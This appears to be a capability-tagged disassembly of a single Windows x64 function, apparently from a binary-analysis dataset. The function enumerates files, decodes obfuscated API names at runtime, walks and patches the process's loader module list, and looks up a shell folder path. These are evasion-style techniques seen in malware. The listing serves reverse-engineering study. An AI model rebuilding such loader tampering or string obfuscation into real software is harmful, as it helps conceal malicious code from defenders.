Function at 0x180001ce0
Capabilities:
Enumerate files on windows
Get common file path
Get startup folder

Disassembly:
mov r11, rsp
push rbp
push r12
push r15
sub rsp, 0x1f0
mov rax, qword [0x18001a2b0]
xor rax, rsp
mov qword [rsp + 0x1d0], rax
mov r12, rcx
lea rcx, [r11 - 0x58]
lea r15, [0x180000000]
mov rax, qword [r15 + 0x14588]
mov qword [rcx], rax
movzx eax, word [r15 + 0x14590]
mov word [rcx + 8], ax
lea rcx, [r11 - 0x58]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rbp, rax
test rax, rax
je 0x180002126
mov qword [rsp + 0x218], rbx
mov qword [rsp + 0x220], rsi
mov qword [rsp + 0x228], rdi
mov ebx, 0x104
mov qword [rsp + 0x1e8], r13
mov qword [rsp + 0x1e0], r14
mov rcx, rbx
call fcn.18000413c
xor r14d, r14d
mov rsi, rax
lea r13d, [r14 + 1]
test rax, rax
jne 0x180001d8b
mov dword [0x18001bf24], r13d
jmp 0x180001f19
mov rcx, rbx
lea rax, [0x1800146a4]
cmp byte [rax], r14b
je 0x180001db7
inc rax
sub rcx, r13
jne 0x180001d95
mov rax, r14
lea rcx, [rax + 1]
cmp rcx, 0x7ffffffe
jbe 0x180001dd9
mov byte [rsi], r14b
jmp 0x180001e1a
test rcx, rcx
je 0x180001da2
mov rax, rbx
sub rax, rcx
cmp rax, 0x102
jbe 0x180001da5
mov dword [0x18001bf24], 3
jmp 0x180001f11
lea r9, [0x1800146a0]
mov rdx, rbx
mov rax, rsi
sub r9, rsi
nop dword [rax]
test rcx, rcx
je 0x180001e0f
movzx r8d, byte [r9 + rax]
test r8b, r8b
je 0x180001e0f
mov byte [rax], r8b
inc rax
dec rcx
sub rdx, r13
jne 0x180001df0
jmp 0x180001e14
test rdx, rdx
jne 0x180001e17
dec rax
mov byte [rax], r14b
mov rcx, rbx
mov rax, rsi
cmp byte [rax], r14b
je 0x180001e2f
inc rax
sub rcx, r13
jne 0x180001e20
jmp 0x180001e7d
test rcx, rcx
je 0x180001e7d
mov rdx, rbx
sub rdx, rcx
sub rbx, rdx
lea rax, [rdx + rsi]
je 0x180001e77
lea r8, [0x18001469c]
lea rcx, [rbx + rdx - 0x102]
sub r8, rax
test rcx, rcx
je 0x180001e72
movzx edx, byte [r8 + rax]
test dl, dl
je 0x180001e72
mov byte [rax], dl
inc rax
dec rcx
sub rbx, r13
jne 0x180001e55
jmp 0x180001e77
test rbx, rbx
jne 0x180001e7a
dec rax
mov byte [rax], r14b
lea rdx, [rsp + 0x70]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x180001f0a
lea rdx, [rsp + 0x70]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
je 0x180001ee8
mov ebx, 2
nop dword [rax + rax]
lea rdx, [0x180014698]
lea rcx, [rsp + 0x9c]
call fcn.180002bf8
mov ecx, dword [0x18001bf24]
lea rdx, [rsp + 0x70]
test rax, rax
cmovne ecx, ebx
mov dword [0x18001bf24], ecx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x180001eb0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_FindClose]
cmp ebx, 0x12
je 0x180001f0a
mov dword [0x18001bf24], 0xffffffff
jmp 0x180001f11
mov dword [0x18001bf24], r14d
mov rcx, rsi
call fcn.1800040a8
lea rcx, [0x18001a240]
mov edx, 0x19
call section..text
lea rdx, [0x18001a240]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, qword [rsp + 0x220]
mov rbx, rax
test rax, rax
je 0x180002106
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea rcx, [rsp + 0x30]
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
mov r9d, 0x30
xor edx, edx
mov rcx, rax
mov dword [rsp + 0x30], r14d
call rbx
test eax, eax
jne 0x180002106
mov rax, qword [rsp + 0x40]
mov rcx, qword [rax + 0x18]
mov eax, r14d
mov rdi, qword [rcx + 0x10]
add rcx, 0x10
cmp rdi, rcx
je 0x180002106
mov rdx, qword [0x18001bcc0]
cmp eax, 0x2710
jg 0x180002106
cmp qword [rdi + 0x30], rdx
je 0x180001fc1
mov rdi, qword [rdi]
inc eax
cmp rdi, rcx
jne 0x180001fa1
jmp 0x180002106
mov ecx, 0xf4240
call fcn.18000413c
mov rbx, rax
call fcn.1800040e8
mov rcx, rbx
call fcn.1800040a8
cmp dword [0x18001bcc8], r14d
je 0x18000205f
mov eax, 6
mov word [rdi + 0x6c], ax
cmp dword [0x18001bccc], r14d
je 0x180002004
mov dword [rdi + 0x114], r13d
mov qword [rdi + 0xb8], r14
mov dword [rdi + 0x10c], 4
cmp dword [0x18001bccc], r14d
je 0x18000203b
mov rax, qword [rdi + 0x98]
mov dword [rdi + 0x68], 0x822cc
mov dword [rax + 0x18], r13d
mov dword [rax + 0x20], r13d
mov dword [rax + 0x48], r13d
mov dword [rax + 0x1c], r14d
mov qword [rax + 0x30], r14
jmp 0x180002064
mov rax, qword [rdi + 0x98]
mov dword [rdi + 0x68], 0x822cc
mov dword [rax + 0x18], r13d
mov dword [rax + 0x1c], r13d
mov dword [rax + 0x20], r14d
mov dword [rax + 0x54], r13d
mov dword [rax + 0x50], r13d
jmp 0x180002064
mov word [rdi + 0x6c], r13w
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rax, qword [r15 + 0x14688]
lea r11, [rsp + 0x1c0]
mov qword [r11], rax
mov eax, dword [r15 + 0x14690]
lea rcx, str._tJ__
mov dword [r11 + 8], eax
movzx eax, byte [r15 + 0x14694]
mov edx, 0x18
mov byte [r11 + 0xc], al
call section..text
lea rbx, [0x18001be20]
xor r9d, r9d
xor r8d, r8d
mov edx, 0x8005
xor ecx, ecx
mov qword [rsp + 0x20], rbx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
js 0x1800020dc
lea rdx, [0x1800146a4]
mov rcx, rbx
call qword [sym.imp.SHLWAPI.dll_PathAppendA]
lea rcx, [rsp + 0x1c0]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str._tJ__
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x180002106
xor edx, edx
mov rcx, r12
call rax
mov r13, qword [rsp + 0x1e8]
mov rdi, qword [rsp + 0x228]
mov rbx, qword [rsp + 0x218]
mov r14, qword [rsp + 0x1e0]
mov rcx, qword [rsp + 0x1d0]
xor rcx, rsp
call fcn.1800045c0
add rsp, 0x1f0
pop r15
pop r12
pop rbp
ret